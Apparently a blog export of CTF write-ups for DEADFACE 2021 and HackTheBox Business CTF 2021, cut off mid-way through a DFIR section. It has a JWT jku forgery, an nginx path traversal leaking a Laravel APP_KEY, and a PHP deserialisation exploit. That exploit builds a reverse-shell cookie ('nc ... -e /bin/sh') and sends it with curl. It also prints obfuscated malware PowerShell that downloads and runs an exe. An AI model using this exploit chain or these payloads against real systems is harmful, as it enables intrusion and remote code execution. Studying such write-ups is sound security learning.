[{"content":"The coolest part of this blog post may be the CTF art! DEADFACE CTF was great, with many of the challenges being a mixture of things to do. The CTF had this phased thing going on, so challenges were gradually released in 5 phases. I wasn\u0026rsquo;t too fond of that, especially as a non-US player where our prime time often had no challenges left.\nHere are some of the challenges I solved playing for Hack South, where we managed to get 11th place out of 1195 teams that scored.\n  solutions The challenges weren\u0026rsquo;t available when I got to this writeup, so lot\u0026rsquo;s of detail on that front is missing.\nstarter Flag: flag{themz_the_ru1es}\nI noticed this flag before the CTF even started in this medium article. The flag was at the bottom.\n  programming Flag: flag{0h-look-a-FlaG}\nI forgot the name of this challenge, but it was the first programming one. We get some code:\n#!/usr/bin/env python3 from binascii import unhexlify as u def get_flag(): flag = \u0026#39;666c61677b30682d6c6f6f6b2d612d466c61477d\u0026#39; return u(flag).decode(\u0026#39;utf-8\u0026#39;) print(f\u0026#39;The flag is: \u0026#39;) Solve by calling get_flag().\nprint(f\u0026#39;The flag is: \u0026#39; + get_flag()) cereal killer Flag: flag{c0unt-ch0cula-cereal-FTW}\nWe\u0026rsquo;re given Windows and Linux bins. Decompilation reveals a bunch of work that looks like a string getting XOR\u0026rsquo;d before asking the user for input.\n  Solve by breaking anywhere after that really and checking out stack contents. Either:\n break on main with b *main r disas main b *0x0000555555555119 where 0x0000555555555119 is the address to call 0x555555555080 \u0026lt;puts@plt\u0026gt; c and read flag off stack  or\n break on the call to puts with b puts r read flag off stack    poor megan Flag: flag{Six-Parts-Honey-One-Part-Garlic}\nI don\u0026rsquo;t really know how this works, but thanks to CyberChef\u0026rsquo;s \u0026ldquo;magic\u0026rdquo; module it somehow figured out the custom character set needed to base64 decode it.\nGiven the input j2rXjx9dkhW9eLKsnMR9cLDVjh/9dwz1QfGXm+b9=wKslL1Zpb45, this recipe reveals the flag.\nfile 101 Flag: flag{Easy_Right}\nYou got a zip file to download that you had to crack the password for. Use zip2john to get a hash, and then your favourite password cracker to finally reveal pumpkinpie as the password (Reelix solved that part, thanks!).\nNext, the image you get from the zipfile is corrupt. Use a hex editor to fix up the header (I used another valid PNG as reference) and open the file to reveal the flag.\n  the count Flag: flag{d1c037808d23acd0dc0e3b897f344571ddce4b294e742b434888b3d9f69d9944}\nThis challenge was hosted. Connecting to the target gave you the instructions:\nDEADFACE gatekeeper: Let us see how good your programming skills are. If a = 0, b = 1, c = 2, etc.. Tell me what the sum of this word is: You have 5 seconds to give me an answer. Your word is: calendar A alphabetic character position counter it is! One cool thing I learnt here is that I can call index() on the character sets provided by string to get the alphabetic position!\nimport string from pwn import * pos = lambda t : string.ascii_lowercase.index(t) r = remote(\u0026#39;code.deadface.io\u0026#39;, 50000) r.recvuntil(\u0026#39;Your word is:\u0026#39;) w = r.recvline().strip().decode() v = sum([pos(x) for x in w]) print(f\u0026#39;{w}= {v}\u0026#39;) r.send(f\u0026#39;{v}\\n\u0026#39;) r.interactive() r.close()   TheZeal0t\u0026rsquo;s Cryptoware IOC 1 Flag: flag{DEADFACE_LLABS_CRYPTOWARE/6.69}\nRun the binary you get and view the network traffic in Wireshark to reveal the flag as the User-Agent header in an HTTP request.\n  Cereal Killer 3 Flag: flag{B00-B00-B00-Bury-IZ-DA-BOMB}\nI remember laughing at this challenge. It was worth something like 500 points, and I think it was one I solved the fastest xD\nRun the bin in gdb, then:\n break on puts with b puts r c read the flag as a string in $ecx. lol    El Paso Flag: flag{$877,401.00}\nSome challenges built on top a \u0026ldquo;leaked\u0026rdquo; MySQL database that you had to run some queries on. The query to solve this challenge was:\nselect sum(loans.balance) from employees right join loans on loans.employee_id = employees.employee_id where employees.city = \u0026#39;El Paso\u0026#39;; Trick or Treat Flag: flag{CaNT_ch34t_d34th}\nThis challenge was built on PyGame, where you get the source code.\n  I originally solved it by commenting out the code that checked for collisions. Leaving that running, after a while the flag simply printed to the terminal. Later I realised, I could have just run a function called gs() manually that would print the flag as well.\nSyncopated Beat Flag: flag{ELECTRIC-LIGHT-ORCHESTRA}\nThis was an audio steganography challenge. We\u0026rsquo;re given a video where the audio track sounds obviously weird at ~2 minutes in. I couldn\u0026rsquo;t make out what exactly it was, so I played around with it in Sonic Visualiser at first. That revealed nothing interesting.\nNext, after extracting the audio from the video, opening the track in audacity reveals the section of interest pretty clearly.\n  I cut that section out and applied the \u0026ldquo;reverse\u0026rdquo; effect by browsing the menu system: \u0026ldquo;Effect -\u0026gt; Reverse\u0026rdquo;. Next, play the audio to hear the flag.\nDecrypting Lytton Labs Cryptoware 2 Flag: flag{PEANUT-BUTTER-Crunch-Mixed-With-Cocoa-Puffs-Beats-All-Those-Cereals!}\nMore Golang malware (puke), but this one took me a while. We also got a decryptor this time. The code flow for the encryptor was not too different when compared to the first cryptoware challenge, which helped. The function to focus on was fetchKey. As usual, a \u0026ldquo;key\u0026rdquo; was fetched remotely that could be revealed in Wireshark (or by blocking network access to the bin causing a panic that reveals the URL as well).\nWhile normally I use (and really like) the Ghidra decompiler in cutter/r2, this time jsdec helped a lot in realising that once the key was fetched, an MD5 sum is calculated of the content. This was also visible in the disassembly, but I missed that initially\n  To decrypt the file, I ran ./zealotcrypt-02-decrypt.bin d8f5c876b36f019254a7307c1eb0fe09.\nThe Victims of Lytton Labs Flag: flag{D0nt-ME$$-with-The-ZEAL0t!!!}\n(I didn\u0026rsquo;t solve this challenge myself completely, but it was interesting enough to writeup.)\nWe\u0026rsquo;re given a (fairly large) pcap to work with. There\u0026rsquo;s a lot going on, but after spending some time you\u0026rsquo;d see what looks like an FTP credential brute force that\u0026rsquo;s eventually successful. Then, some files are downloaded.\n  To extract the files from the pcap, just follow the TCP stream, view as Raw and hit \u0026ldquo;Save As\u0026rdquo;. This way you\u0026rsquo;d end up with a \u0026ldquo;secret\u0026rdquo; (encryption-password-cgeschicker.txt), an encryptor (lytton-crypt.bin) and some encrypted files (*.lcr files). There was also what looked like a small reverse shell in a binary called secret_decoder.bin.\nRunning the cryptor, we\u0026rsquo;d see a few flags could be passed:\n$ ./lytton-crypt.bin Usage is: ./lytton-crypt.bin -[orc][-sN] file1 file2.. -o Write output to standard out -r Do NOT remove input files after processing -c Do NOT compress files before encryption -sN How many times to overwrite input files with random data A lot of the cryptor logic was wrapped up in the main function, and depending on what files you passed it it, the cryptor figured out if it needed to encrypt or decrypt the input file.\n  As for the secret file you got, the value 75AC98147C07752767E09EF781CF998E401D19B01E30CBAA5109D6AD7EC9A174 from the encryption-password-cgeschicker.txt was not a valid encryption key.\n$ echo \u0026#34;75AC98147C07752767E09EF781CF998E401D19B01E30CBAA5109D6AD7EC9A174\u0026#34; | ./lytton-crypt.bin david-k.txt.lcr Encryption key: Invalid encryption key for file: david-k.txt.lcr Stuck here for quite a while, @carlmonning realised the key value is actually a SHA256 hash, that when cracked is demagorgon.\n  So, do decrypt the files and reveal the flag run:\necho \u0026#34;demagorgon\u0026#34; | ../lytton-crypt.bin *.lcr ","permalink":"https://leonjza.github.io/blog/2021/10/17/deadface-ctf-2021-writeups/","summary":"\u003cp\u003eThe coolest part of this blog post may be the CTF art! DEADFACE CTF was great, with many of the challenges being a mixture of things to do. The CTF had this phased thing going on, so challenges were gradually released in 5 phases. I wasn\u0026rsquo;t too fond of that, especially as a non-US player where our prime time often had no challenges left.\u003c/p\u003e\n\u003cp\u003eHere are some of the challenges I solved playing for \u003ca href=\"https://hacksouth.africa/\"\u003eHack South\u003c/a\u003e, where we managed to get 11th place out of 1195 teams that scored.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/deadface21/hs-score.png\"/\u003e \n\u003c/figure\u003e","title":"deadface ctf 2021 writeups"},{"content":"The HackTheBox Business CTF 2021 ran this weekend, and I played with a few colleagues at Orange Cyberdefense / SensePost. We managed to score 5th place amongst 374 other teams!\n    The team consisted of (those with twitterz!): felmoltor, JCoertze, TH3_GOAT_FARM3R, Titanex8, _cablethief, gav1no_ and GMILTE.\nsolutions We solved 38 out of the 44 challenges, and in this post I will write up some of the ones I solved and found interesting (and have energy for). Unfortunately there\u0026rsquo;s just too many to write up. Anyways, here goes!\nweb/Emergency  Name: Emergency Category: Web Solves: 148 Rating 2/4 Type: Hosted Description: You\u0026rsquo;ve been tasked with a pentesting engagement on a hospital management portal, they\u0026rsquo;ve provided you with a mockup build of the website and they\u0026rsquo;ve asked you to break their JWT implementation and find a way to login as \u0026ldquo;admin\u0026rdquo;.   Register \u0026amp; login with an account you create.\n  The hint at the top right tells us that if we can login as an admin, we\u0026rsquo;ll see the flag there. Alright. Once logged in, you get a cookie called auth that looks like a JWT. Decoding that JWT in https://jwt.io/ should reveal the contents.\n  The header contains an interesting field called jku (JWK Set URL) rfc7515. While it shows localhost as the host where it\u0026rsquo;s hosted, browsing to /.well-known/jwks.json on the target returns:\n{ \u0026#34;keys\u0026#34;: [ { \u0026#34;alg\u0026#34;: \u0026#34;RS256\u0026#34;, \u0026#34;e\u0026#34;: \u0026#34;65537\u0026#34;, \u0026#34;kid\u0026#34;: \u0026#34;520a8c63-979e-4eec-a898-65ce3a745ec8\u0026#34;, \u0026#34;kty\u0026#34;: \u0026#34;RSA\u0026#34;, \u0026#34;n\u0026#34;: \u0026#34;23449280482738889245895507291078582838254525255910235513541946393154802290847031214392555552806839273748095037249203247472519486345448369548745790075083645659281193865341488345259094202703775414196359389911734542090336466079214752741074523728561352243375122273569387511394908725295341986379516793366924310398799780225643283052845716171900912034770239943764711206765083616511946700338767541895995886704496171585620589055846475443335026466769449848144773605534420418595157593626717750596511024098107708598027318208503613927895670164235148874382087743531049839528965506663562753195462090371169085974069905692817915834823\u0026#34;, \u0026#34;use\u0026#34;: \u0026#34;sig\u0026#34; } ] } After a little bit of research, the following post detailed an attack where you generate a private key pair and self-host a forged JWKS. Cool!\nSo, generate a keypair:\nopenssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key Next, copy the generated publickey.crt and pkcs8.key into https://jwt.io/. This will let you modify the header \u0026amp; payload data fields of the JWT.\n  Next, we will be hosting our own forged jwks.json file somewhere, but with modified values based on the keypair we generated. So, download the existing /.well-known/jwks.json file, and replace the n and e values with those that are printed using the following script:\nfrom Crypto.PublicKey import RSA fp = open(\u0026#34;publickey.crt\u0026#34;, \u0026#34;r\u0026#34;) key = RSA.importKey(fp.read()) fp.close() print(\u0026#34;n:\u0026#34;, key.n) print(\u0026#34;e:\u0026#34;, key.e) Note: The script in the writeup mentioned earlier had a call to hex() over key.n and key.e. Our original JWKS had the values represented as base 10 numbers, so I removed the hex() calls.\n❯ python3 get_e_n.py n: 22886710563966340956822048238132141776347204676484958377602992744988500635442815278742328990767865767609438546940854465045592221141397954203230579382142347611722813763792672879573215150525919561564482192751114693804214742783873265392598793348692202182691179725882788918622065704479856089306532862072352692898082459694339750406712440593629584995301975643253487813145992707041196851108235248937454814251203885089087347000107501380883928378711572275375692080813223337418307282792929768098893976202646812829106754027981173056002774293629254416025898967630195044941229996683868958839770197444633515843061313215581697151459 e: 65537 Our updated JWKS now looked like this:\n{ \u0026#34;keys\u0026#34;:[ { \u0026#34;alg\u0026#34;:\u0026#34;RS256\u0026#34;, \u0026#34;e\u0026#34;:\u0026#34;65537\u0026#34;, \u0026#34;kid\u0026#34;:\u0026#34;408f6673-30b1-4fa9-aa26-5d68337fa975\u0026#34;, \u0026#34;kty\u0026#34;:\u0026#34;RSA\u0026#34;, \u0026#34;n\u0026#34;:\u0026#34;22886710563966340956822048238132141776347204676484958377602992744988500635442815278742328990767865767609438546940854465045592221141397954203230579382142347611722813763792672879573215150525919561564482192751114693804214742783873265392598793348692202182691179725882788918622065704479856089306532862072352692898082459694339750406712440593629584995301975643253487813145992707041196851108235248937454814251203885089087347000107501380883928378711572275375692080813223337418307282792929768098893976202646812829106754027981173056002774293629254416025898967630195044941229996683868958839770197444633515843061313215581697151459\u0026#34;, \u0026#34;use\u0026#34;:\u0026#34;sig\u0026#34; } ]} Host this file somewhere on the Internet where the challenge box can find it, update the jku URL in https://jwt.io/ to where you are hosting the JWKS and update the existing cookie value to the new, forged one generated by https://jwt.io/. Finally, reload the page and voila!\nFlag: HTB{your_JWTS_4r3_cl41m3d!!}\nweb/Larablog  Name: Larablog Category: Web Solves: 43 Rating 3/4 Type: Hosted Description: I really like nginx, I also really like Laravel. This is why I published a blog post about my secure boilerplate nginx config on my Laravel deployments.   The landing page is a \u0026ldquo;blog\u0026rdquo; with one entry where the author speaks about an nginx related configuration.\n  I assumed this was the configuration the server in the challenge had. The nginx configuration file on the page was:\nuser www; pid /run/nginx.pid; error_log /dev/stderr info; events { worker_connections 1024; } http { server_tokens off; log_format docker \u0026#39;$remote_addr $remote_user $status \u0026#34;$request\u0026#34; \u0026#34;$http_referer\u0026#34; \u0026#34;$http_user_agent\u0026#34; \u0026#39;; access_log /dev/stdout docker; charset utf-8; keepalive_timeout 20s; sendfile on; tcp_nopush on; client_max_body_size 2M; include /etc/nginx/mime.types; server { listen 80; server_name _; index index.php; root /www/public; location /assets { alias /www/public/; } location / { try_files $uri $uri/ /index.php?$query_string; location ~ \\.php$ { try_files $uri =404; fastcgi_pass unix:/run/php-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } } } The vuln is not too hard to spot. The assets location is missing a trailing slash which results in a path traversal vulnerability.\nlocation /assets { alias /www/public/; } Reading this post, you can find an excellent description of the \u0026ldquo;Off-By-Slash\u0026rdquo; issue and the path traversal problems this creates. Now, given that this challenge was called \u0026lsquo;Larablog\u0026rsquo;, I assumed it was based on Laravel. Laravel apps should only have their public directory exposed to the Internet. However, when combined with the nginx misconfiguration we can actually gain access to the configuration file that is typically one folder up in a file called .env with a request to http://host/assets../.env.\n❯ curl http://142.93.38.188:31631/assets../.env APP_NAME=blog APP_ENV=production APP_KEY=base64:BWA2LF8I+Xq72HkNO2sZqnaYcC7qwAevd7zBJoI5iEE= APP_DEBUG=true APP_URL=http://localhost ... Excellent! The APP_KEY in a Laravel application is used for anything crypto related, which includes session cookies! This application was setting two cookies, one called blog_session and another randomly generated named one:\nblog_session=eyJpdiI6Ikw4NDE5SVNkSWdES2NmWFVYVHNWbnc9PSIsInZhbHVlIjoidStsWHhuOUtIY2FzZjVQUmQ0SlhuMFd5SUZpdHBFRWNXa1FnSGlPdzZZcGNNTFM5XC9GMnpLNGlYNHhSc3pOcEpJWUdTN2NXaW1TdWZPQnJnZllZamNBPT0iLCJtYWMiOiIxMDgyY2EzZWE4ZjU4NjViYjFiMDcyZDAyMjViMWNkOGEwOTY2OWQ2OGY0N2NjOGNkODE3MDQ4MzBlNmNlYmNmIn0%3D; GblwliF2kVK6ZboaxHD1aJmb9VZ0qmrOvKe7VKtI=eyJpdiI6ImxyYVh3ZGlESjc0Qmd3YVplVExxTUE9PSIsInZhbHVlIjoiWUFpeTh0TjRNOGRDbEFYZ2E5Nm5WeXpDeGNsWkRRVHA5a1FZWmtuR0pkNFBLMVZGTXdPeDdKcWdnNVI5K2l2cFJ4OGxDQTI3NjFEOGVYYkVrTGpSXC9JaEdRYmlYSzFZeGEwRU1RTWQxa05DTzJqMDBJcHRRUUFlY0hYZEpVOW5NM0xxcktyTG5adWlNZ1RNTGlWb2ZadzVCM3pYR1NXc2ppMkUxWXBWUjBCdDVWXC90OFp6ajJ1Z09qdXpVVjMrM0NnQnM3bEVYNnlOSUZZU1BjekJuSmRsSGxjNytzWGh3dHVqSXQ1T0s3YXVMS0FHUzdCSUtxcHNMXC9JWk5iZU5BN2o2Mll3VlJpUkc5bmlhdFhWM3NOblVSVmhBUUdvejF5R0pMV3hvVVJVQ2F5elQxczRGXC94d000VkdicWNzSk4xSkkrQXlJbm1lZnRYUjFZbWpRU291emhCMGluNW95RE01dm9sQ3l6NTdmK1VkM2xqdSszWUNKcGNWV1ZxTnpTZ3NDSXpnMmlDYWNNVGRiVWFHcGREVWJaMWpqRjhJSVNGT1NhUERoVkZBdFwvZjJvMzJhMTEwSnJPUlppK1wvak0xQiIsIm1hYyI6ImVkMmZhZWRlY2Q1YWRhZTIzYWM5OTc4OTAxOGEyM2I5YzhiOWUxMGQ1MzkwNWY5ZTE1ODg3MWVjODU5ZGU0YjIifQ%3D%3D; Because we have the APP_KEY, we can decrypt these cookies. A long time ago I extracted the encryption logic from the Laravel project into a Gist here, but for this challenge I found a python implementation I used here. Updating the values in the script with the current key \u0026amp; cookies, the decrypted values were:\n❯ python3 decrypt.py blog_session b\u0026#39;s:40:\u0026#34;GblwliF2kVK6ZboaxHD1aJmb9VZ0qmrOvKe7VKtI\u0026#34;;\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\u0026#39; b\u0026#39;s:324:\u0026#34;{\u0026#34;data\u0026#34;:\u0026#34;a:6:{s:6:\\\\\u0026#34;_token\\\\\u0026#34;;s:40:\\\\\u0026#34;KyD6rt0laS5gC0NY0TezBFwdW86j7s2yP9A7jOFh\\\\\u0026#34;;s:8:\\\\\u0026#34;username\\\\\u0026#34;;s:8:\\\\\u0026#34;guest22e\\\\\u0026#34;;s:5:\\\\\u0026#34;order\\\\\u0026#34;;s:2:\\\\\u0026#34;id\\\\\u0026#34;;s:9:\\\\\u0026#34;direction\\\\\u0026#34;;s:4:\\\\\u0026#34;desc\\\\\u0026#34;;s:6:\\\\\u0026#34;_flash\\\\\u0026#34;;a:2:{s:3:\\\\\u0026#34;old\\\\\u0026#34;;a:0:{}s:3:\\\\\u0026#34;new\\\\\u0026#34;;a:0:{}}s:9:\\\\\u0026#34;_previous\\\\\u0026#34;;a:1:{s:3:\\\\\u0026#34;url\\\\\u0026#34;;s:26:\\\\\u0026#34;http:\\\\/\\\\/142.93.38.188:31631\\\\\u0026#34;;}}\u0026#34;,\u0026#34;expires\u0026#34;:1627336043}\u0026#34;;\\x03\\x03\\x03\u0026#39; So, blog_session contained the name of the cookie with the actual PHP serialized() data in it. Neat :)\nAnyways, some older versions of Laravel suffered from a classic PHP deserialisation attack. A more recent post about abusing that can be found here, which does a great job at explaining how the vulnerability works. In our case we were running Laravel 5.5.40 which could be enumerated from the composer.json that we could access thanks to the path traversal at http://142.93.38.188:31631/assets../composer.json:\n{ \u0026#34;name\u0026#34;: \u0026#34;laravel/laravel\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The Laravel Framework.\u0026#34;, \u0026#34;keywords\u0026#34;: [\u0026#34;framework\u0026#34;, \u0026#34;laravel\u0026#34;], \u0026#34;license\u0026#34;: \u0026#34;MIT\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;require\u0026#34;: { \u0026#34;php\u0026#34;: \u0026#34;^7.1.3\u0026#34;, \u0026#34;fideloper/proxy\u0026#34;: \u0026#34;^4.0\u0026#34;, \u0026#34;laravel/framework\u0026#34;: \u0026#34;5.5.40\u0026#34;, \u0026lt;-- \u0026#34;laravel/tinker\u0026#34;: \u0026#34;^1.0\u0026#34; }, ... Knowing that, all we needed was to use the poc.php file from the previous post (with phpggc setup in the path as well), and voila:\n\u0026lt;?php $cipher = \u0026#39;AES-256-CBC\u0026#39;; $app_key = \u0026#39;base64:BWA2LF8I+Xq72HkNO2sZqnaYcC7qwAevd7zBJoI5iEE=\u0026#39;; $chain_name = \u0026#39;Laravel/RCE6\u0026#39;; $payload = \u0026#39;system(\\\u0026#39;nc MYHOST-IP 4444 -e /bin/sh\\\u0026#39;);\u0026#39;; // Use PHPGGC to generate the gadget chain $chain = shell_exec(\u0026#39;./phpggc/phpggc \u0026#39;.$chain_name.\u0026#39; \u0026#34;\u0026#39;.$payload.\u0026#39;\u0026#34;\u0026#39;); // Key can be stored as base64 or string. if( explode(\u0026#34;:\u0026#34;, $app_key)[0] === \u0026#39;base64\u0026#39; ) { $app_key = base64_decode(explode(\u0026#39;:\u0026#39;, $app_key)[1]); } // Create cookie $iv = random_bytes(openssl_cipher_iv_length($cipher)); $value = \\openssl_encrypt($chain, $cipher, $app_key, 0, $iv); $iv = base64_encode($iv); $mac = hash_hmac(\u0026#39;sha256\u0026#39;, $iv.$value, $app_key); $json = json_encode(compact(\u0026#39;iv\u0026#39;, \u0026#39;value\u0026#39;, \u0026#39;mac\u0026#39;)); // Print the results die(urlencode(base64_encode($json)) . PHP_EOL); Running that would generate a cookie such the following:\n❯ php poc.php eyJpdiI6Ijc2cjU4S0VHcmFqUnB5YThZZkM1c2c9PSIsInZhbHVlIjoibU9SM1ZqUTY4d0ZWcVAzWHQyMEEwanVvVW5EdEpRcXpLZnJ4Z1Rrd3piVGgzc2FEWFJyTGhGZDBYM0pDTld6bWtFVHBDNzRWWTBLRVdCMzBXVGxyU1pBVmNkVWZ6NGExR2dUTFM5c2N6Nlwvak9BN3JhT0FxNkhYcGZmU1wvVmllaXNvSmdpUVwvOWVRTnlVR3Nqbk0wNG56ZDBoSGxvdWd5Q1FTZkZNQitFSWpsa29xVWVxTGlqOWYwc2dtcWkySXZ1S1VaMVU2MTJQVkNsdHFBSXpRUnZcL0xDNENZOGZpRkYxOTRPWml0MUJYZCthNVNVemM4MHZmRE1kNzJvSUNDU2V4SXpsWlI1eU5JNlBlWGt4UUdSeHVlaWxWazlZTjQwNlJFSE5ZRmJoRUR5VlRhNXA1cXd0bmVucFlicWRUSU1ja2U5S0Z0OVRJOVRuZHRkenFqMHluejhubEFON1EzTlBmV0pHSG5FbTYrRVB2SFwvWTFtN2xNQU9GcVYwR2FSaHBmQmxTN1pmZmhVU0Jua3plZmE0Ym53QjZYNHNUV284N3lhQ0plbURINXoreitzdllOZlJ3MjVLUzlCOE9GUHJPZFhoY2sxR1ltXC85V0Qwcnl5Uk9KRTNPSTQ5aFh2UHkxbjZlTEpGd25yeFg0T3FhbUpQMWVUZHlKcHQ0cWNYa1hwak93OFE1ZTJ6aEV2ZHNPRnlaWVllYlY4QjVwdW1ZdkdoSDJ2dVJuRlBWWHlBV1wvWHBJbllNQ1dKUlVZdlpIMXFYVzdOWStPZms1U1pEUnFpdXN4VFQreUc5TmpPVnFpbDl3RE1CRTJMYVhycDU3K1FMa0crcVBjVDFJVVZMdXlDQUgrbUFQUndEdnJcLzFyaTBqUlQxZU52K2g5Q2lldzUxUDBZOXRWSnVuU1FHWG9ERklYZUN3UHFUQVpcL0xVaVYyVTdvZlhha1wvaEF4cElHRHRLS0hRcUhRcEl0ZTFCQUN1cUd6dzhkeG5zK0hFV2lSMEV4aE9HTHFXTlpQWExkNiIsIm1hYyI6ImI1NWFlNWM3MDE2MTk3NTgzZGYwNmI3NjUyOWUzNWU2NTBiNmQ5NWZjZWU5ZGNmNjNiNjU0ZDkxODUxMWY5NzIifQ%3D%3D With your netcat listener and a modified request in your burp you should get a shell to cat the flag from! Alternatively, a one liner would look something like this (note the inline execution of $(php poc.php)):\ncurl -i -s -k -X $\u0026#39;GET\u0026#39; \\  Py venv3 -H $\u0026#39;Host: 142.93.38.188:31631\u0026#39; \\  -H $\u0026#39;User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0\u0026#39; \\  -H $\u0026#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\u0026#39; \\  -H $\u0026#39;Accept-Language: en-US,en;q=0.5\u0026#39; \\  -H $\u0026#39;Accept-Encoding: gzip, deflate\u0026#39; \\  -H $\u0026#39;Connection: close\u0026#39; \\  -H $\u0026#39;Upgrade-Insecure-Requests: 1\u0026#39; \\  -H $\u0026#39;Cache-Control: max-age=0\u0026#39; \\  -b \u0026#34;blog_session=eyJpdiI6Ikg3bmhiWm5iSFpRK29jTjU5VDNjSGc9PSIsInZhbHVlIjoiZGswbFBGMlFSclBOOFQ1Q1J1c0dXaEtpZGtYaFJHck5vaDBUd3lRb3NXalBKMFJFTmJmY3VSSTF0TDlBMjdyZlFSZXdqR1RueVZ4REIwTkFhRFhHWHc9PSIsIm1hYyI6ImJmY2VkZmQxYmE2YTMyZDY5OGVmNDAwMjA5MzQzODY2ZTY5MzY1YWUxMDZhMzExYTIwYTkyOTI2MzE3YTJmZDQifQ%3D%3D; CHUy1XJywSReivL5QDrK8y3MhKPuH0JNbJ7kk2xB=$(php poc.php)\u0026#34; \\  $\u0026#39;http://142.93.38.188:31631/\u0026#39; Flag: HTB{0ff_by_sl4sh_pwn4g3}\nforensics/DFIR  Name: DFIR Category: forensics Solves: 29 Rating 2/4 Type: ~8GB OVA download Description: I have always heard stories about blue windows popping up during the startup and what that means but I never though it could happen to me. Please have a look and let me know if you find something. The user\u0026rsquo;s password is: Passw0rd! http://138.68.175.191/businessctf/dfir/   This challenge being an OVA download started off really frustrating. In fact, somehow I managed to bork my local VMWare trying to import it, and when it finally did come up, the VM just never booted. So, I finally downloaded VirtualBox and with some patience, got it to boot. :( The VM would randomly lock up for a few seconds under load, or do strange things like lock up left click as if I\u0026rsquo;m holding down the mouse button. This made for an\u0026hellip; interesting computering experience\u0026hellip; Anyways!\nThe challenge description said something about windows popping up at start up, and \u0026lsquo;lo and behold, a PowerShell window appeared during the excruciatingly slow boot of the VM. I figured the best way I would find out what may be causing that was to use the Sysinternals Autoruns tool.\nAfter not too long, I spotted an oddly named Scheduled Task that runs PowerShell:\n  The arguments to the invocation of PowerShell in that tiny, tiny box were:\n-w hidden -ExecutionPolicy Bypass -nop -NoExit -C Write-host \u0026#39;Windows update ready\u0026#39;; iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\1X90wOyH).Q4josQ44))); Looked like it was reading something from the registry. Being the lazy person I am, I reused the code to get me the value it was reading:\n  This time round we got some lightly obfuscated PowerShell.\n${P`ATH} = (((\u0026#34;{9}{2}{1}{8}{5}{6}{10}{4}{3}{7}{0}{11}\u0026#34; -f\u0026#39;ost.\u0026#39;,\u0026#39;gramD\u0026#39;,\u0026#39;Pro\u0026#39;,\u0026#39;svc\u0026#39;,\u0026#39;ndows{0}\u0026#39;,\u0026#39;ta{\u0026#39;,\u0026#39;0\u0026#39;,\u0026#39;h\u0026#39;,\u0026#39;a\u0026#39;,\u0026#39;C:{0}\u0026#39;,\u0026#39;}wi\u0026#39;,\u0026#39;exe\u0026#39;)) -f [chAR]92);${e`XISTs} = .(\u0026#34;{1}{0}{2}\u0026#34; -f \u0026#39;est-Pa\u0026#39;,\u0026#39;T\u0026#39;,\u0026#39;th\u0026#39;) -Path ${p`AtH} -PathType (\u0026#34;{1}{0}\u0026#34; -f \u0026#39;eaf\u0026#39;,\u0026#39;L\u0026#39;);${Par`T1} = \u0026#34;HTB{1_c4n_S33_3v3ryTh1ng_3v3n_y0uR_P1N_\u0026#34;;if ( ${exi`stS} ){ \u0026amp;(\u0026#34;{3}{2}{1}{0}\u0026#34;-f \u0026#39;ess\u0026#39;,\u0026#39;oc\u0026#39;,\u0026#39;t-Pr\u0026#39;,\u0026#39;Star\u0026#39;) ${pa`Th}}else{\u0026amp;(\u0026#34;{1}{0}\u0026#34; -f \u0026#39;ir\u0026#39;,\u0026#39;mkd\u0026#39;) (((\u0026#34;{3}{5}{4}{0}{1}{2}\u0026#34; -f \u0026#39;Datadt\u0026#39;,\u0026#39;Qw\u0026#39;,\u0026#39;indows\u0026#39;,\u0026#39;C:dtQP\u0026#39;,\u0026#39;m\u0026#39;,\u0026#39;rogra\u0026#39;)).\u0026#34;rePl`AcE\u0026#34;(([CHAr]100+[CHAr]116+[CHAr]81),\u0026#39;\\\u0026#39;));\u0026amp;(\u0026#34;{1}{4}{3}{0}{2}\u0026#34; -f\u0026#39;eb\u0026#39;,\u0026#39;I\u0026#39;,\u0026#39;Request\u0026#39;,\u0026#39;voke-W\u0026#39;,\u0026#39;n\u0026#39;) -Uri (\u0026#34;{2}{0}{8}{3}{1}{6}{5}{4}{7}\u0026#34; -f\u0026#39;ttps://win\u0026#39;,\u0026#39;eupdater\u0026#39;,\u0026#39;h\u0026#39;,\u0026#39;owsliv\u0026#39;,\u0026#39;ho\u0026#39;,\u0026#39;c\u0026#39;,\u0026#39;.com/sv\u0026#39;,\u0026#39;st.exe\u0026#39;,\u0026#39;d\u0026#39;) -OutFile ${PA`TH};.(\u0026#34;{3}{2}{1}{0}\u0026#34; -f \u0026#39;Process\u0026#39;,\u0026#39;-\u0026#39;,\u0026#39;rt\u0026#39;,\u0026#39;Sta\u0026#39;) ${p`ATh}} Cleaning that up a bit, we can see that a file in C:\\ProgramData\\windows\\svchost.exe was being run. If it did not exist, it would have been downloaded from somewhere. For the most part, I just grabbed parts of the script and evaluated them in the PowerShell prompt to see the output to determine values:\n# C:\\ProgramData\\windows\\svchost.exe ${P`ATH} = (((\u0026#34;{9}{2}{1}{8}{5}{6}{10}{4}{3}{7}{0}{11}\u0026#34; -f\u0026#39;ost.\u0026#39;,\u0026#39;gramD\u0026#39;,\u0026#39;Pro\u0026#39;,\u0026#39;svc\u0026#39;,\u0026#39;ndows{0}\u0026#39;,\u0026#39;ta{\u0026#39;,\u0026#39;0\u0026#39;,\u0026#39;h\u0026#39;,\u0026#39;a\u0026#39;,\u0026#39;C:{0}\u0026#39;,\u0026#39;}wi\u0026#39;,\u0026#39;exe\u0026#39;)) -f [chAR]92); # True | testing for upper path ${e`XISTs} = .(\u0026#34;{1}{0}{2}\u0026#34; -f \u0026#39;est-Pa\u0026#39;,\u0026#39;T\u0026#39;,\u0026#39;th\u0026#39;) -Path ${p`AtH} -PathType (\u0026#34;{1}{0}\u0026#34; -f \u0026#39;eaf\u0026#39;,\u0026#39;L\u0026#39;); ${Par`T1} = 